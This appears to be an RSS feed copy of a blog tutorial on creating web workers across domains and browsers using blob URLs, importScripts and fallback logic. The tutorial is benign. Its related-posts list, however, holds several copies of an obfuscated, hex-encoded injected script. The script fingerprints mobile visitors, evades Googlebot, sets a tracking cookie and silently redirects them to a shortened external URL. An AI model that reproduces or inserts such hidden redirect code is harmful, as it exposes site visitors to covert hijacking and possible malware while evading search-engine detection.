)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/11/07/javascript-asynchronous-abortable-long-running-tasks/" rel="bookmark" title="JavaScript: Asynchronous abortable long running tasks">JavaScript: Asynchronous abortable long running tasks </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/12/02/javascript-variables-asynchronous-callback-functions/" rel="bookmark" title="JavaScript: variables in asynchronous callback functions">JavaScript: variables in asynchronous callback functions </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<h2>What are web workers?</h2>
<p>A web worker is a script that runs in the background in an isolated way. They run in a separate thread and can perform tasks without interfering with the user interface. Since the scripts on a page are executed in a single thread of execution, a long running script will make the page unresponsive. Web workers allow to hide this from the user and let the browser continue with normal operation while the script is running in the background.</p>
<h2>Limitations of web workers</h2>
<p>Web workers are great because they can perform computationally expensive tasks without interrupting the user interface. But they also bring quite a few limitations:</p>
<ol>
<li>Web workers do not have access to the DOM</li>
<li>They do not have access to the document object</li>
<li>These workers do not have access to the window object</li>
<li>Web workers do not have direct access to the <em>parent</em> page.</li>
<li>They will not work if the web page is being served a <em>file://</em> URL</li>
<li>You are limited by the same origin policy i.e. the worker script must be served from the same domain (including the protocol) as the script that is creating the worker</li>
</ol>
<p>The first four limitation mean that you cannot move all your Javascript logic to webworkers. The fifth one means that even when developing, you will need to serve your page through a web server (which can be on the localhost).</p>
<p>The purpose of this article is to see how to work around the last limitation (same origin policy). But first let&#8217;s briefly see how to use a worker.</p>
<h2>How to use web workers</h2>
<p>Creating a worker is first of all pretty straight forward:</p>
<pre><code class="language-javascript">//Creating the worker
var worker = new Worker(workerUrl);

//Registering a callback to process messages from the worker
worker.onmessage = function(event) { ... });

//Sending a message to the worker
worker.postMessage("Hey there!");

//Terminating the worker
worker.terminate();
worker = undefined;</code></pre>
<p>In the worker things then work in a similar way:</p>
<pre><code class="language-javascript">//Registering a callback to process messages from the parent
self.onmessage = function (event) { ... });

//Sending a message to the parent
self.postMessage("Hey there!");</code></pre>
<p>Now the problem I had was that I needed to run a worker provided by a partner and therefore served from a different domain. So <code>new Worker(...);</code> will fail with an error similar to this:<br />
<code>Uncaught SecurityError: Failed to construct 'Worker': Script at 'xxx' cannot be accessed from origin 'xxx'</code></p>
<h2>Cross domain workers</h2>
<p>So the browser will not allow you to create a worker with a URL pointing to a different domain. But it will allow you to create a blob URL which can be used to initialize your worker.</p>
<h3>Blob URLs</h3>
<p>A blob is in general something which doesn&#8217;t necessarily in JavaScript &#8220;format&#8221; but it can be. You can then have the browser internally generate a URL. This URL uses a pseudo protocol called &#8220;blob&#8221;. So you get a URL in this form: blob:origin/UID. The origin is the origin of the page where you create the blob URL and the UID is a generated unique ID e.g. blob:https://mydomain/8126d58c-edbc-ee14-94a6-108b8f215304.</p>
<p>A blob can be created this way:</p>
<pre><code class="language-javascript">var blob = new Blob(["some JavaScript code;"], { "type": 'application/javascript' });</code></pre>
<p>The following browser versions seem to support the blob constructor: IE 10, Edge 12, Firefox 13, Chrome 20, Safari 6, Opera 12.1, iOS Safari 6.1, Android browser/Chrome 53. So if you want to support an older version you will need to revert to the BlobBuilder interface has been deprecated in favor of the newly introduced Blob constructor in the newer browsers:</p>
<pre><code class="language-javascript">var blobBuilder = new (window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder)();
blobBuilder.append("some JavaScript code;");
var blob = blobBuilder.getBlob('application/javascript');</code></pre>
<p>In order to support old and new browsers, you will want to try using the Blob constructor and revert to the BlobBuilder in case you get an exception:</p>
<pre><code class="language-javascript">var blob;
try {
	blob = new Blob(["some JavaScript code;"], { "type": 'application/javascript' });
} catch (e) {
	var blobBuilder = new (window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder)();
	blobBuilder.append("some JavaScript code;");
	blob = blobBuilder.getBlob('application/javascript');
}</code></pre>
<p>You can then generate a URL object from the blob:</p>
<pre><code class="language-javascript">var url = window.URL || window.webkitURL;
var blobUrl = url.createObjectURL(blob);</code></pre>
<p>Finally, you can create your web worker using this URL object:</p>
<pre><code class="language-javascript">var worker = new Worker(blobUrl);</code></pre>
<p>Now, the piece of JavaScript you want to have in your blob would be this one liner which will load the worker file:</p>
<pre><code class="language-javascript">importScripts('https://mydomain.com/worker.js');</code></pre>
<p>So a method to load, create and return the worker both in case we are in a same-domain scenario or in a cross-domain scenario would look like this:</p>
<pre><code class="language-javascript">function createWorker (workerUrl) {
	var worker = null;
	try {
		worker = new Worker(workerUrl);
	} catch (e) {
		try {
			var blob;
			try {
				blob = new Blob(["importScripts('" + workerUrl + "');"], { "type": 'application/javascript' });
			} catch (e1) {
				var blobBuilder = new (window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder)();
				blobBuilder.append("importScripts('" + workerUrl + "');");
				blob = blobBuilder.getBlob('application/javascript');
			}
			var url = window.URL || window.webkitURL;
			var blobUrl = url.createObjectURL(blob);
			worker = new Worker(blobUrl);
		} catch (e2) {
			//if it still fails, there is nothing much we can do
		}
	}
	return worker;
}</code></pre>
<h3>Cross-browser support</h3>
<p>Unfortunately, we still have another problem to handle: in some browser, the failed creation of a web worker will not result in an exception but with an unusable worker in the cross-domain scenario. In this case, an error is raised as an event on the worker. So you would need to consider this also as a feedback that the creation of the worker failed and that the fallback with the blob URL should be used.</p>
<p>In order to do this, you should probably first extract the fallback into its own function:</p>
<pre><code class="language-javascript">function createWorkerFallback (workerUrl) {
	var worker = null;
	try {
		var blob;
		try {
			blob = new Blob(["importScripts('" + workerUrl + "');"], { "type": 'application/javascript' });
		} catch (e) {
			var blobBuilder = new (window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder)();
			blobBuilder.append("importScripts('" + workerUrl + "');");
			blob = blobBuilder.getBlob('application/javascript');
		}
		var url = window.URL || window.webkitURL;
		var blobUrl = url.createObjectURL(blob);
		worker = new Worker(blobUrl);
	} catch (e1) {
		//if it still fails, there is nothing much we can do
	}
	return worker;
}</code></pre>
<p>Now we can implement the logic to handle the different cases:</p>
<pre><code class="language-javascript">var worker = null;
try {
	worker = new Worker(workerUrl);
	worker.onerror = function (event) {
		event.preventDefault();
		worker = createWorkerFallback(workerUrl);
	};
} catch (e) {
	worker = createWorkerFallback(workerUrl);
}</code></pre>
<p>Of course, you could save yourself this try/catch/onerror logic and just directly use the fallback which should also work in all browsers.</p>
<p>Another option I&#8217;ve been using is still trying the get the worker to get initialized with this logic but only in case of same domain scenarios.</p>
<p>In order to do this, you&#8217;d need to first implement a check whether we are in a same-domain or a cross-domain scenario e.g.:</p>
<pre><code class="language-javascript">function testSameOrigin (url) {
	var loc = window.location;
	var a = document.createElement('a');
	a.href = url;
	return a.hostname === loc.hostname &amp;&amp; a.port === loc.port &amp;&amp; a.protocol === loc.protocol;
}</code></pre>
<p>It just creates an anchor tag (which will not be bound to the dom), set the URL and then checking the different part of the URL relevant for identifying the origin (protocol, hostname and port).</p>
<p>With this function, you can then update the logic in this way:</p>
<pre><code class="language-javascript">var worker = null;
try {
	if (testSameOrigin(workerUrl)) {
		worker = new Worker(workerUrl);
		worker.onerror = function (event) {
			event.preventDefault();
			worker = createWorkerFallback(workerUrl);
		};
	} else {
		worker = createWorkerFallback(workerUrl);
	}
} catch (e) {
	worker = createWorkerFallback(workerUrl);
}</code></pre>
<p>This may all sounds overly complex just to end up using a web worker but unfortunately because of cross-domain restrictions and implementation inconsistencies between browser, you very often need to have such things in your code.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/&amp;t=Cross domain and cross browser web workers" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/&amp;text=Cross domain and cross browser web workers" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/&amp;title=Cross domain and cross browser web workers" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/">Cross domain and cross browser web workers</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/12/07/cross-document-communication-with-iframes/" rel="bookmark" title="Cross-document communication with iframes">Cross-document communication with iframes </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 